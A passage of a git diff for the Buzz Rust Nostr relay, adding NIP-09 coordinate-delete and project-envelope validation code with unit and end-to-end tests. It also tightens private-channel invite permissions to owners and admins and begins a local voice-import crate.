to_tag_parts always produces ["a", coord, ...hint] + tags.push( + Tag::parse(parts.iter().copied()).map_err(|e| SdkError::InvalidTag(e.to_string()))?, + ); + } + if let Some(ch) = channel { + tags.push(tag(&["buzz-channel", ch])?); + } + if let Some(vis) = visibility { + tags.push(tag(&["buzz-visibility", vis])?); + } + + build_project_with_tags("", tags) +} + +/// **Generic NIP-09 coordinate delete**: Build a kind:5 deletion event with +/// a single `a`-tag addressing `::`. +/// +/// Validates: +/// - `kind` is an addressable kind (10000–19999 or 30000–39999). +/// - `pubkey` is a 64-character lowercase hex string. +/// - `d` is non-empty. +/// +/// `build_workflow_delete` delegates to this function. +pub fn build_delete_addressable( + kind: u32, + pubkey: &str, + d: &str, +) -> Result { + let is_addressable = (10000..20000).contains(&kind) || (30000..40000).contains(&kind); + if !is_addressable { + return Err(SdkError::InvalidInput(format!( + "kind {kind} is not an addressable kind (must be 10000–19999 or 30000–39999)" + ))); + } + let pk = check_pubkey_hex(pubkey, "pubkey")?; + if d.is_empty() { + return Err(SdkError::InvalidInput("d must not be empty".into())); + } + let coord = format!("{kind}:{pk}:{d}"); + let tags = vec![tag(&["a", &coord])?]; + Ok(EventBuilder::new(Kind::Custom(KIND_DELETION as u16), "").tags(tags)) +} + #[cfg(test)] mod tests { use super::*; @@ -2343,6 +2701,30 @@ mod tests { assert!(has_tag(&ev, "emoji", "party_parrot")); } + #[test] + fn custom_emoji_reaction_accepts_max_shortcode_length() { + let eid = event_id(); + let shortcode = "a".repeat(MAX_CUSTOM_EMOJI_SHORTCODE_LEN); + let ev = sign( + build_custom_emoji_reaction(eid, &shortcode, "https://example.com/max.png").unwrap(), + ); + + assert_eq!(ev.content, format!(":{shortcode}:")); + assert_eq!(ev.content.chars().count(), MAX_CUSTOM_EMOJI_REACTION_LEN); + assert!(has_tag(&ev, "emoji", &shortcode)); + } + + #[test] + fn custom_emoji_reaction_rejects_overlong_shortcode() { + let eid = event_id(); + let shortcode = "a".repeat(MAX_CUSTOM_EMOJI_SHORTCODE_LEN + 1); + + assert!(matches!( + build_custom_emoji_reaction(eid, &shortcode, "https://example.com/too-long.png"), + Err(SdkError::InvalidInput(message)) if message.contains("exceeds 64 bytes") + )); + } + #[test] fn custom_emoji_set_happy_path() { let ev = sign( @@ -4005,4 +4387,280 @@ mod tests { .iter() .any(|t| t.as_slice().first().map(String::as_str) == Some("replaced-by"))); } + + // ── NIP-MP cap-before-arity ordering ───────────────────────────────────── + + /// When an envelope exceeds the member cap AND contains a malformed `a` tag, + /// the validator must fire `member-cap` (rule 3) — not `member-tag-arity` + /// (rule 4). This matches the relay's ingest ordering and means a client + /// sending an oversized list never receives a per-tag parse error. + #[test] + fn validate_project_envelope_cap_wins_over_arity_when_both_fail() { + let owner = "a".repeat(64); + // Build 65 well-formed `a` tags — enough to trigger the cap. + let mut tags = vec![Tag::parse(["d", "platform"]).unwrap()]; + for i in 0..65usize { + let coord = format!("30617:{owner}:repo-{i}"); + tags.push(Tag::parse(["a", &coord]).unwrap()); + } + // Also add one malformed tag (four elements) that would fire + // member-tag-arity if evaluated before the cap check. + let coord_extra = format!("30617:{owner}:repo-extra"); + tags.push( + Tag::parse([ + "a", + &coord_extra, + "wss://relay.example.com", + "extra-element", + ]) + .unwrap(), + ); + + let err = validate_project_envelope(&tags, "").unwrap_err(); + let msg = err.to_string(); + assert!( + msg.contains("member-cap"), + "expected member-cap to win, got: {msg}" + ); + assert!( + !msg.contains("member-tag-arity"), + "arity rule must not fire before cap rule, got: {msg}" + ); + } + + // ── Layer B writer-policy builder ─────────────────────────────────────── + + const OWNER64: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + const VALID_UUID: &str = "3580ca9b-47b4-4af9-b22a-1068778f26c6"; + + fn member_coord(repo: &str) -> ProjectMemberCoord { + ProjectMemberCoord::parse_full(&format!("30617:{OWNER64}:{repo}")).unwrap() + } + + #[test] + fn build_project_emitted_envelope_has_correct_shape() { + // slug, name, description, channel, visibility, and one member. + let m = member_coord("buzz"); + let ev = sign( + build_project( + "my-proj", + Some("My Project"), + Some("A description"), + &[m], + Some(VALID_UUID), + Some("listed"), + ) + .expect("Layer B must accept valid inputs"), + ); + + // Kind must be 30621. + assert_eq!(ev.kind.as_u16(), KIND_PROJECT as u16); + // Content must be empty (Layer B policy). + assert!(ev.content.is_empty(), "content must be empty"); + + let all_tags: Vec> = ev.tags.iter().map(|t| t.as_slice().to_vec()).collect(); + + // d tag must be present exactly once. + let d_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "d").collect(); + assert_eq!(d_tags.len(), 1); + assert_eq!(d_tags[0][1], "my-proj"); + + // name, description, buzz-channel, buzz-visibility present. + let name_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "name").collect(); + assert_eq!(name_tags.len(), 1); + assert_eq!(name_tags[0][1], "My Project"); + + let desc_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "description").collect(); + assert_eq!(desc_tags.len(), 1); + assert_eq!(desc_tags[0][1], "A description"); + + let ch_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "buzz-channel").collect(); + assert_eq!(ch_tags.len(), 1); + assert_eq!(ch_tags[0][1], VALID_UUID); + + let vis_tags: Vec<_> = all_tags + .iter() + .filter(|t| t[0] == "buzz-visibility") + .collect(); + assert_eq!(vis_tags.len(), 1); + assert_eq!(vis_tags[0][1], "listed"); + + // member a tag. + let a_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "a").collect(); + assert_eq!(a_tags.len(), 1); + assert_eq!(a_tags[0][1], format!("30617:{OWNER64}:buzz")); + } + + #[test] + fn build_project_optional_fields_absent_when_not_supplied() { + let m = member_coord("core"); + let ev = sign( + build_project("my-proj", None, None, &[m], None, None) + .expect("minimal build must succeed"), + ); + let names: Vec<_> = ev + .tags + .iter() + .filter(|t| t.as_slice().first().map(|s| s.as_str()) == Some("name")) + .collect(); + assert!(names.is_empty(), "name tag must not be emitted when absent"); + } + + #[test] + fn build_project_rejects_empty_slug() { + let m = member_coord("r"); + let err = build_project("", None, None, &[m], None, None).unwrap_err(); + assert!( + matches!(err, SdkError::InvalidInput(_)), + "empty slug must be InvalidInput, got: {err:?}" + ); + assert!(err.to_string().contains("empty")); + } + + #[test] + fn build_project_rejects_overlong_slug() { + let long_slug = "a".repeat(PROJECT_D_MAX_LEN + 1); + let m = member_coord("r"); + let err = build_project(&long_slug, None, None, &[m], None, None).unwrap_err(); + assert!(matches!(err, SdkError::InvalidInput(_))); + } + + #[test] + fn build_project_rejects_invalid_channel_uuid() { + let m = member_coord("r"); + let err = build_project("slug", None, None, &[m], Some("not-a-uuid"), None).unwrap_err(); + assert!(matches!(err, SdkError::InvalidInput(_))); + assert!(err.to_string().contains("UUID") || err.to_string().contains("uuid")); + } + + #[test] + fn build_project_rejects_invalid_visibility_token() { + let m = member_coord("r"); + let err = build_project("slug", None, None, &[m], None, Some("chartreuse")).unwrap_err(); + assert!(matches!(err, SdkError::InvalidInput(_))); + assert!(err.to_string().contains("listed") || err.to_string().contains("unlisted")); + } + + #[test] + fn build_project_rejects_over_cap_members() { + let members: Vec<_> = (0..=PROJECT_MEMBER_CAP) + .map(|i| member_coord(&format!("repo-{i}"))) + .collect(); + let err = build_project("slug", None, None, &members, None, None).unwrap_err(); + assert!(matches!(err, SdkError::InvalidInput(_))); + assert!( + err.to_string().contains("member-cap"), + "over-cap must report member-cap, got: {err}" + ); + } + + #[test] + fn build_project_rejects_duplicate_members() { + let m = member_coord("same"); + let err = build_project("slug", None, None, &[m.clone(), m], None, None).unwrap_err(); + assert!(matches!(err, SdkError::InvalidInput(_))); + assert!( + err.to_string().contains("dedup") || err.to_string().contains("duplicate"), + "duplicate member must report dedup, got: {err}" + ); + } + + #[test] + fn build_project_content_is_always_empty() { + // build_project forces content="" regardless; Layer A also enforces + // that the envelope is valid. Any non-empty content would be dropped. + // This test pins the Layer B content-forced-empty policy. + let m = member_coord("r"); + let ev = sign(build_project("slug", None, None, &[m], None, None).unwrap()); + assert!( + ev.content.is_empty(), + "Layer B must always emit empty content" + ); + } + + // ── NIP-MP conformance fixtures ────────────────────────────────────────── + // `build_project_with_tags` directly. Accept cases must build; reject + // cases must fail with an error message containing the expected rule name. + // A count assertion guards against silent omissions. + // + // `include_str!` path is relative to this source file. + fn nip_mp_fixture_tags(json_tags: &serde_json::Value) -> Vec { + json_tags + .as_array() + .unwrap() + .iter() + .map(|t| { + let parts: Vec = t + .as_array() + .unwrap() + .iter() + .map(|v| v.as_str().unwrap().to_string()) + .collect(); + let parts_ref: Vec<&str> = parts.iter().map(String::as_str).collect(); + Tag::parse(parts_ref.iter().copied()) + .unwrap_or_else(|e| panic!("fixture tag parse error: {e}\n raw: {t}")) + }) + .collect() + } + + #[test] + fn nip_mp_fixtures_all_31_cases_exercised() { + const FIXTURE_JSON: &str = include_str!("../../../docs/nips/NIP-MP.fixtures.json"); + + let data: serde_json::Value = + serde_json::from_str(FIXTURE_JSON).expect("fixture JSON must parse"); + let cases = data["cases"].as_array().expect("cases must be array"); + + // Count gate: the spec says "required to test against this one file" + // with the exact count as-shipped. + assert_eq!( + cases.len(), + 31, + "expected 31 fixture cases, got {} — was NIP-MP.fixtures.json edited?", + cases.len() + ); + + let mut accept_count = 0usize; + let mut reject_count = 0usize; + + for case in cases { + let name = case["name"].as_str().unwrap(); + let expect = case["expect"].as_str().unwrap(); + let template = &case["template"]; + let content = template["content"].as_str().unwrap_or(""); + let tags = nip_mp_fixture_tags(&template["tags"]); + + match expect { + "accept" => { + build_project_with_tags(content, tags).unwrap_or_else(|e| { + panic!("fixture '{name}' (accept) must build successfully, got: {e}") + }); + accept_count += 1; + } + "reject" => { + let reject_rules = case["reject_rules"] + .as_array() + .expect("reject case must have reject_rules") + .iter() + .map(|r| r.as_str().unwrap().to_string()) + .collect::>(); + + let err = build_project_with_tags(content, tags).unwrap_err(); + let err_msg = err.to_string(); + + // The error must mention at least one of the expected rules. + let rule_matched = reject_rules.iter().any(|r| err_msg.contains(r.as_str())); + assert!( + rule_matched, + "fixture '{name}' rejected with wrong rule.\n expected one of: {reject_rules:?}\n got error: {err_msg}" + ); + reject_count += 1; + } + other => panic!("fixture '{name}' has unknown expect value: {other:?}"), + } + } + + assert_eq!(accept_count, 11, "expected 11 accept cases"); + assert_eq!(reject_count, 20, "expected 20 reject cases"); + } } diff --git a/crates/buzz-test-client/tests/e2e_project.rs b/crates/buzz-test-client/tests/e2e_project.rs new file mode 100644 index 0000000000..c0a05e4674 --- /dev/null +++ b/crates/buzz-test-client/tests/e2e_project.rs @@ -0,0 +1,491 @@ +//! End-to-end tests for kind:30621 multi-repo project events (NIP-MP). +//! +//! The ingest unit tests in `buzz-relay` pin the envelope contract in isolation. +//! These tests cover the three behaviors that only exist once an event reaches +//! storage, plus proof that the envelope validator is actually wired into the +//! live write path: +//! - a valid cross-owner project round-trips through its NIP-33 coordinate; +//! - replacement is keyed by `(pubkey, 30621, d)` — newer wins for one author, +//! and two authors sharing a `d` hold two independent projects (this is what +//! makes owner-only editing free rather than a relay permission check); +//! - a NIP-09 `a`-tag tombstone removes the project coordinate and leaves every +//! referenced kind:30617 announcement untouched, because membership is an +//! assertion about repositories and never authority over them; +//! - malformed envelopes are refused by the relay, not merely by the validator. +//! +//! See `docs/nips/NIP-MP.md` for the normative contract. +//! +//! # Running +//! +//! Start the relay, then run: +//! +//! ```text +//! RELAY_URL=ws://localhost:3000 cargo test -p buzz-test-client --test e2e_project -- --ignored +//! ``` + +use std::time::Duration; + +use buzz_test_client::BuzzTestClient; +use nostr::{Alphabet, EventBuilder, Filter, Keys, Kind, SingleLetterTag, Tag, Timestamp}; + +const PROJECT_KIND: u16 = 30621; +const REPO_ANNOUNCEMENT_KIND: u16 = 30617; + +fn relay_url() -> String { + std::env::var("RELAY_URL").unwrap_or_else(|_| "ws://localhost:3000".to_string()) +} + +fn sub_id(name: &str) -> String { + format!("e2e-project-{name}-{}", uuid::Uuid::new_v4()) +} + +/// A short unique suffix so concurrent runs never collide on a `d` tag. +fn unique(prefix: &str) -> String { + format!("{prefix}-{}", &uuid::Uuid::new_v4().to_string()[..8]) +} + +fn member_coord(owner: &Keys, repo_d: &str) -> String { + format!( + "{REPO_ANNOUNCEMENT_KIND}:{}:{repo_d}", + owner.public_key().to_hex() + ) +} + +/// Build a project event. `members` are canonical `30617::` +/// coordinates; `created_at` defaults to now when `None`. +fn project_event( + keys: &Keys, + d_tag: &str, + name: &str, + members: &[String], + created_at: Option, +) -> nostr::Event { + let mut tags = vec![ + Tag::parse(["d", d_tag]).unwrap(), + Tag::parse(["name", name]).unwrap(), + ]; + tags.extend( + members + .iter() + .map(|m| Tag::parse(["a", m.as_str()]).unwrap()), + ); + let builder = EventBuilder::new(Kind::Custom(PROJECT_KIND), "").tags(tags); + match created_at { + Some(ts) => builder.custom_created_at(Timestamp::from(ts)), + None => builder, + } + .sign_with_keys(keys) + .unwrap() +} + +/// Announce a repository so a project has a real coordinate to reference. +fn repo_announcement(keys: &Keys, repo_d: &str) -> nostr::Event { + EventBuilder::new(Kind::Custom(REPO_ANNOUNCEMENT_KIND), "") + .tags(vec![ + Tag::parse(["d", repo_d]).unwrap(), + Tag::parse(["name", repo_d]).unwrap(), + ]) + .sign_with_keys(keys) + .unwrap() +} + +/// A NIP-09 `a`-tag-only deletion at a NIP-33 coordinate. No `e` tag, so the +/// relay takes the coordinate-delete path rather than the event-id path. +/// `created_at` defaults to now when `None`. +fn coordinate_delete(keys: &Keys, kind: u16, d_tag: &str, created_at: Option) -> nostr::Event { + let coord = format!("{kind}:{}:{d_tag}", keys.public_key().to_hex()); + let builder = + EventBuilder::new(Kind::Custom(5), "") + .tags(vec![Tag::parse(["a", coord.as_str()]).unwrap()]); + match created_at { + Some(ts) => builder.custom_created_at(Timestamp::from(ts)), + None => builder, + } + .sign_with_keys(keys) + .unwrap() +} + +fn addressable_filter(kind: u16, author: &Keys, d_tag: &str) -> Filter { + Filter::new() + .kind(Kind::Custom(kind)) + .author(author.public_key()) + .custom_tags(SingleLetterTag::lowercase(Alphabet::D), [d_tag]) +} + +/// Subscribe with `filter` and drain to EOSE. +async fn query(client: &mut BuzzTestClient, name: &str, filter: Filter) -> Vec { + let sid = sub_id(name); + client + .subscribe(&sid, vec![filter]) + .await + .expect("subscribe"); + client + .collect_until_eose(&sid, Duration::from_secs(5)) + .await + .expect("collect events") +} + +#[tokio::test] +#[ignore] +async fn test_project_publish_and_query_returns_cross_owner_members() { + let url = relay_url(); + let owner = Keys::generate(); + let other = Keys::generate(); + let d_tag = unique("project"); + + let members = vec![ + member_coord(&owner, "buzz"), + member_coord(&other, "buzz-infra"), + ]; + + let mut client = BuzzTestClient::connect(&url, &owner) + .await + .expect("connect"); + + let event = project_event(&owner, &d_tag, "Platform", &members, None); + let ok = client.send_event(event).await.expect("send project"); + assert!(ok.accepted, "relay rejected project event: {}", ok.message); + + let events = query( + &mut client, + "query", + addressable_filter(PROJECT_KIND, &owner, &d_tag), + ) + .await; + + assert_eq!(events.len(), 1, "expected exactly one project event"); + let stored: Vec<&str> = events[0] + .tags + .iter() + .filter_map(|t| { + let parts = t.as_slice(); + (parts.first().map(|s| s.as_str()) == Some("a")).then(|| parts[1].as_str()) + }) + .collect(); + assert_eq!( + stored, members, + "both members must survive the round trip, including the one owned by another pubkey" + ); + + client.disconnect().await.expect("disconnect"); +} + +#[tokio::test] +#[ignore] +async fn test_project_replacement_keeps_only_newest_for_same_author_and_d() { + let url = relay_url(); + let owner = Keys::generate(); + let d_tag = unique("project-replace"); + let now = Timestamp::now().as_secs(); + + let mut client = BuzzTestClient::connect(&url, &owner) + .await + .expect("connect"); + + let first = project_event(&owner, &d_tag, "Old", &[], Some(now - 100)); + let ok = client.send_event(first).await.expect("send old"); + assert!(ok.accepted, "relay rejected old project: {}", ok.message); + + let members = vec![member_coord(&owner, "buzz")]; + let second = project_event(&owner, &d_tag, "New", &members, Some(now)); + let ok = client.send_event(second).await.expect("send new"); + assert!(ok.accepted, "relay rejected new project: {}", ok.message); + + let events = query( + &mut client, + "replace", + addressable_filter(PROJECT_KIND, &owner, &d_tag), + ) + .await; + + assert_eq!( + events.len(), + 1, + "NIP-33: only the newest head should remain" + ); + let name = events[0] + .tags + .iter() + .find_map(|t| { + let parts = t.as_slice(); + (parts.first().map(|s| s.as_str()) == Some("name")).then(|| parts[1].as_str()) + }) + .expect("name tag"); + assert_eq!(name, "New", "the newer head must win"); + + client.disconnect().await.expect("disconnect"); +} + +/// Owner-only editing is a property of the addressable model, not a relay +/// permission check: two authors publishing the same `d` occupy two coordinates, +/// so neither can overwrite the other. This is the test that would fail if the +/// kind were ever classified as plain-replaceable or keyed on `d` alone. +#[tokio::test] +#[ignore] +async fn test_project_same_d_under_two_authors_are_independent() { + let url = relay_url(); + let alice = Keys::generate(); + let bob = Keys::generate(); + let d_tag = unique("project-shared-d"); + + let mut alice_client = BuzzTestClient::connect(&url, &alice) + .await + .expect("connect"); + let ok = alice_client + .send_event(project_event(&alice, &d_tag, "Alice", &[], None)) + .await + .expect("send alice"); + assert!( + ok.accepted, + "relay rejected alice's project: {}", + ok.message + ); + + let mut bob_client = BuzzTestClient::connect(&url, &bob).await.expect("connect"); + let ok = bob_client + .send_event(project_event(&bob, &d_tag, "Bob", &[], None)) + .await + .expect("send bob"); + assert!(ok.accepted, "relay rejected bob's project: {}", ok.message); + + for (label, keys, expected_name) in [("alice", &alice, "Alice"), ("bob", &bob, "Bob")] { + let events = query( + &mut alice_client, + label, + addressable_filter(PROJECT_KIND, keys, &d_tag), + ) + .await; + assert_eq!( + events.len(), + 1, + "{label} should still hold their own project at the shared `d`" + ); + let name = events[0] + .tags + .iter() + .find_map(|t| { + let parts = t.as_slice(); + (parts.first().map(|s| s.as_str()) == Some("name")).then(|| parts[1].as_str()) + }) + .expect("name tag"); + assert_eq!(name, expected_name, "{label}'s project was overwritten"); + } + + alice_client.disconnect().await.expect("disconnect"); + bob_client.disconnect().await.expect("disconnect"); +} + +/// Deleting a project must delete only the grouping. A project is metadata about +/// repositories; if a tombstone at the project coordinate cascaded to the +/// referenced kind:30617s, adding a repo to someone's project would become a way +/// to destroy it. +#[tokio::test] +#[ignore] +async fn test_project_tombstone_deletes_coordinate_and_spares_members() { + let url = relay_url(); + let owner = Keys::generate(); + let repo_d = unique("repo"); + let project_d = unique("project-tombstone"); + + let mut client = BuzzTestClient::connect(&url, &owner) + .await + .expect("connect"); + + let ok = client + .send_event(repo_announcement(&owner, &repo_d)) + .await + .expect("send announcement"); + assert!(ok.accepted, "relay rejected announcement: {}", ok.message); + + let members = vec![member_coord(&owner, &repo_d)]; + let ok = client + .send_event(project_event(&owner, &project_d, "Doomed", &members, None)) + .await + .expect("send project"); + assert!(ok.accepted, "relay rejected project: {}", ok.message); + + let before = query( + &mut client, + "tombstone-pre", + addressable_filter(PROJECT_KIND, &owner, &project_d), + ) + .await; + assert_eq!(before.len(), 1, "project should be live before deletion"); + + let ok = client + .send_event(coordinate_delete(&owner, PROJECT_KIND, &project_d, None)) + .await + .expect("send tombstone"); + assert!(ok.accepted, "relay rejected tombstone: {}", ok.message); + + let after = query( + &mut client, + "tombstone-post", + addressable_filter(PROJECT_KIND, &owner, &project_d), + ) + .await; + assert!( + after.is_empty(), + "tombstone should remove the project coordinate, got {} event(s)", + after.len() + ); + + let repo = query( + &mut client, + "member-after", + addressable_filter(REPO_ANNOUNCEMENT_KIND, &owner, &repo_d), + ) + .await; + assert_eq!( + repo.len(), + 1, + "deleting a project must not touch the repositories it referenced" + ); + + client.disconnect().await.expect("disconnect"); +} + +/// NIP-09 scopes an `a`-tag deletion to versions at or before the deletion's own +/// `created_at`. A tombstone signed between V1 and V2 — delayed in transit or +/// replayed by a third party — must therefore retire V1 only and leave the newer +/// V2 head live. Before the timestamp predicate landed in +/// `soft_delete_by_coordinate`, the coordinate delete was timestamp-blind and +/// this sequence silently destroyed V2. +#[tokio::test] +#[ignore] +async fn test_stale_tombstone_between_versions_leaves_newer_project_live() { + let url = relay_url(); + let owner = Keys::generate(); + let project_d = unique("project-stale-tombstone"); + let now = Timestamp::now().as_secs(); + + let mut client = BuzzTestClient::connect(&url, &owner) + .await + .expect("connect"); + + let ok = client + .send_event(project_event( + &owner, + &project_d, + "V1", + &[], + Some(now - 100), + )) + .await + .expect("send v1"); + assert!(ok.accepted, "relay rejected V1: {}", ok.message); + + let ok = client + .send_event(project_event(&owner, &project_d, "V2", &[], Some(now))) + .await + .expect("send v2"); + assert!(ok.accepted, "relay rejected V2: {}", ok.message); + + // Timestamped strictly between V1 and V2: valid for V1, stale for V2. + let ok = client + .send_event(coordinate_delete( + &owner, + PROJECT_KIND, + &project_d, + Some(now - 50), + )) + .await + .expect("send stale tombstone"); + assert!( + ok.accepted, + "a well-formed tombstone is still an acceptable event: {}", + ok.message + ); + + let after = query( + &mut client, + "stale-tombstone", + addressable_filter(PROJECT_KIND, &owner, &project_d), + ) + .await; + + assert_eq!( + after.len(), + 1, + "a tombstone older than the live head must not delete it, got {} event(s)", + after.len() + ); + let name = after[0] + .tags + .iter() + .find_map(|t| { + let parts = t.as_slice(); + (parts.first().map(|s| s.as_str()) == Some("name")).then(|| parts[1].as_str()) + }) + .expect("surviving head must carry its name tag"); + assert_eq!(name, "V2", "the surviving head must be the newer version"); + + client.disconnect().await.expect("disconnect"); +} + +/// Proves the envelope validator is reachable from the live write path — a unit +/// test of `validate_project_envelope` cannot show that ingest calls it. +#[tokio::test] +#[ignore] +async fn test_project_malformed_envelope_rejected_by_relay() { + let url = relay_url(); + let owner = Keys::generate(); + let mut client = BuzzTestClient::connect(&url, &owner) + .await + .expect("connect"); + + let duplicate = member_coord(&owner, "buzz"); + // Each case pairs a malformed event with the substring its rejection must + // carry, so a refusal for an unrelated reason cannot satisfy the assertion. + let cases: Vec<(&str, nostr::Event, &str)> = vec![ + ( + "duplicate member coordinate", + project_event( + &owner, + &unique("project-dup"), + "Dup", + &[duplicate.clone(), duplicate], + None, + ), + "duplicate member coordinate", + ), + ( + "member coordinate naming the wrong kind", + project_event( + &owner, + &unique("project-badkind"), + "Bad kind", + &[format!("30618:{}:buzz", owner.public_key().to_hex())], + None, + ), + "member `a` tag must be", + ), + ( + "member coordinate with an uppercase-hex owner", + project_event( + &owner, + &unique("project-upper"), + "Uppercase", + &[format!("{REPO_ANNOUNCEMENT_KIND}:{}:buzz", "A".repeat(64))], + None, + ), + "member `a` tag must be", + ), + ]; + + for (label, event, expected) in cases { + let ok = client.send_event(event).await.expect("send"); + assert!( + !ok.accepted, + "relay must reject a project with a {label}, got OK: {}", + ok.message + ); + assert!( + ok.message.contains(expected), + "rejection for {label} must name the rule that fired, got: {}", + ok.message + ); + } + + client.disconnect().await.expect("disconnect"); +} diff --git a/crates/buzz-test-client/tests/e2e_relay.rs b/crates/buzz-test-client/tests/e2e_relay.rs index 6f59299ed2..5b9a50b5b1 100644 --- a/crates/buzz-test-client/tests/e2e_relay.rs +++ b/crates/buzz-test-client/tests/e2e_relay.rs @@ -2201,6 +2201,10 @@ async fn create_private_channel_ws(client: &mut BuzzTestClient, keys: &Keys) -> } /// Submit a kind:9000 PUT_USER event over WebSocket. +/// +/// `allow_self_tagging` keeps self-targeted adds working: EventBuilder otherwise +/// drops a `p` tag matching the signer (nostr-0.44.3 builder.rs:435-449) and the +/// event fails as "missing p tag" instead of exercising the authority check. async fn add_member_ws( client: &mut BuzzTestClient, channel_id: &str, @@ -2210,6 +2214,7 @@ async fn add_member_ws( let h_tag = Tag::parse(["h", channel_id]).unwrap(); let p_tag = Tag::parse(["p", target_pubkey_hex]).unwrap(); let event = EventBuilder::new(Kind::Custom(9000), "") + .allow_self_tagging() .tags([h_tag, p_tag]) .sign_with_keys(signer) .unwrap(); @@ -2219,6 +2224,8 @@ async fn add_member_ws( } /// Submit a kind:9000 PUT_USER event with a role tag over WebSocket. +/// +/// See [`add_member_ws`] for why `allow_self_tagging` is required. async fn add_member_with_role_ws( client: &mut BuzzTestClient, channel_id: &str, @@ -2230,6 +2237,7 @@ async fn add_member_with_role_ws( let p_tag = Tag::parse(["p", target_pubkey_hex]).unwrap(); let role_tag = Tag::parse(["role", role]).unwrap(); let event = EventBuilder::new(Kind::Custom(9000), "") + .allow_self_tagging() .tags([h_tag, p_tag, role_tag]) .sign_with_keys(signer) .unwrap(); @@ -2241,10 +2249,10 @@ async fn add_member_with_role_ws( (ok.accepted, ok.message) } -/// Any member of a private channel can invite another user (Slack model). +/// Only owners/admins can add another identity to a private channel. #[tokio::test] #[ignore] -async fn test_private_channel_any_member_can_invite() { +async fn test_private_channel_member_cannot_invite() { let url = relay_url(); let owner_keys = Keys::generate(); let member_keys = Keys::generate(); @@ -2271,7 +2279,7 @@ async fn test_private_channel_any_member_can_invite() { .await .expect("connect as member"); - // Regular member invites a third user — this should succeed. + // Regular member tries to invite a third user. let (accepted, msg) = add_member_ws( &mut member_client, &channel_id, @@ -2279,15 +2287,77 @@ async fn test_private_channel_any_member_can_invite() { &member_keys, ) .await; + assert!( + !accepted, + "regular member must not add another private-channel identity: {msg}" + ); + assert!( + msg.contains("owners/admins"), + "rejection should name the owner/admin requirement, got: {msg}" + ); + + // The same member re-adding *themselves* stays idempotent — the huddle + // bot-add and kind:9021 paths depend on a self-targeted PUT_USER working. + let (accepted, msg) = add_member_ws( + &mut member_client, + &channel_id, + &member_keys.public_key().to_hex(), + &member_keys, + ) + .await; assert!( accepted, - "regular member should be able to invite to private channel, got: {msg}" + "self-targeted re-add must stay idempotent, got: {msg}" ); owner_client.disconnect().await.expect("disconnect owner"); member_client.disconnect().await.expect("disconnect member"); } +/// An admin — not just the owner — can still add to a private channel. +#[tokio::test] +#[ignore] +async fn test_private_channel_admin_can_invite() { + let url = relay_url(); + let owner_keys = Keys::generate(); + let admin_keys = Keys::generate(); + let invitee_keys = Keys::generate(); + + let mut owner_client = BuzzTestClient::connect(&url, &owner_keys) + .await + .expect("connect as owner"); + let channel_id = create_private_channel_ws(&mut owner_client, &owner_keys).await; + + let (accepted, msg) = add_member_with_role_ws( + &mut owner_client, + &channel_id, + &admin_keys.public_key().to_hex(), + "admin", + &owner_keys, + ) + .await; + assert!(accepted, "owner should add an admin, got: {msg}"); + + let mut admin_client = BuzzTestClient::connect(&url, &admin_keys) + .await + .expect("connect as admin"); + + let (accepted, msg) = add_member_ws( + &mut admin_client, + &channel_id, + &invitee_keys.public_key().to_hex(), + &admin_keys, + ) + .await; + assert!( + accepted, + "admin should be able to add to a private channel, got: {msg}" + ); + + owner_client.disconnect().await.expect("disconnect owner"); + admin_client.disconnect().await.expect("disconnect admin"); +} + /// A non-member cannot invite someone to a private channel. #[tokio::test] #[ignore] diff --git a/crates/buzz-voice/Cargo.toml b/crates/buzz-voice/Cargo.toml new file mode 100644 index 0000000000..beff5b4a54 --- /dev/null +++ b/crates/buzz-voice/Cargo.toml @@ -0,0 +1,25 @@ +[package] +name = "buzz-voice" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +license.workspace = true +repository.workspace = true +description = "Reusable local voice primitives for Buzz" + +[dependencies] +atomic-write-file = "0.3" +hex = { workspace = true } +ort = { version = "=2.0.0-rc.12", default-features = false, features = ["api-24", "ndarray", "std"] } +ort-sys = { version = "=2.0.0-rc.12", features = ["disable-linking"] } +rand = "0.10" +sentencepiece-model = "0.1" +serde = { version = "1", features = ["derive"] } +serde_json = "1" +sha2 = { workspace = true } +sherpa-onnx = "1.12" +symphonia = { version = "0.5", default-features = false, features = ["aac", "aiff", "alac", "flac", "isomp4", "mp3", "ogg", "pcm", "vorbis", "wav"] } +tokenizers = { version = "0.22", default-features = false, features = ["fancy-regex"] } + +[dev-dependencies] +tempfile = "3" diff --git a/crates/buzz-voice/src/imported.rs b/crates/buzz-voice/src/imported.rs new file mode 100644 index 0000000000..6f0ea71cad --- /dev/null +++ b/crates/buzz-voice/src/imported.rs @@ -0,0 +1,730 @@ +//! Device-local Pocket reference voice validation, canonicalization, and storage. + +use std::{ + fs, + io::Write, + path::{Path, PathBuf}, +}; + +use atomic_write_file::AtomicWriteFile; +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; +use symphonia::core::{ + audio::SampleBuffer, codecs::DecoderOptions, errors::Error as SymphoniaError, + formats::FormatOptions, io::MediaSourceStream, meta::MetadataOptions, probe::Hint, +}; + +const MAX_SOURCE_BYTES: u64 = 25 * 1024 * 1024; +const MIN_SAMPLE_RATE: u32 = 8_000; +const MAX_SAMPLE_RATE: u32 = 96_000; +const MIN_DURATION_SECONDS: f64 = 2.0; +const MAX_DURATION_SECONDS: f64 = 30.0; +pub const CANONICAL_SAMPLE_RATE: u32 = 32_000; +const REGISTRY_VERSION: u32 = 1; +const REGISTRY_FILE: &str = "registry.json"; + +#[derive(Clone, Debug, Deserialize, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct ImportedVoice { + pub key: String, + pub display_name: String, + pub content_hash: String, + pub file_name: String, +} + +#[derive(Default, Deserialize, Serialize)] +#[serde(rename_all = "camelCase")] +struct ImportedVoiceRegistry { + version: u32, + voices: Vec, +} + +#[derive(Clone, Debug)] +pub struct PocketVoiceLibrary { + root: PathBuf, +} + +impl PocketVoiceLibrary { + pub fn new(root: impl Into) -> Self { + Self { root: root.into() } + } + + pub fn root(&self) -> &Path { + &self.root + } + + fn registry_path(&self) -> PathBuf { + self.root.join(REGISTRY_FILE) + } + + pub fn load(&self) -> Result, String> { + let path = self.registry_path(); + if !path.exists() { + return Ok(Vec::new()); + } + let bytes = + fs::read(&path).map_err(|error| format!("could 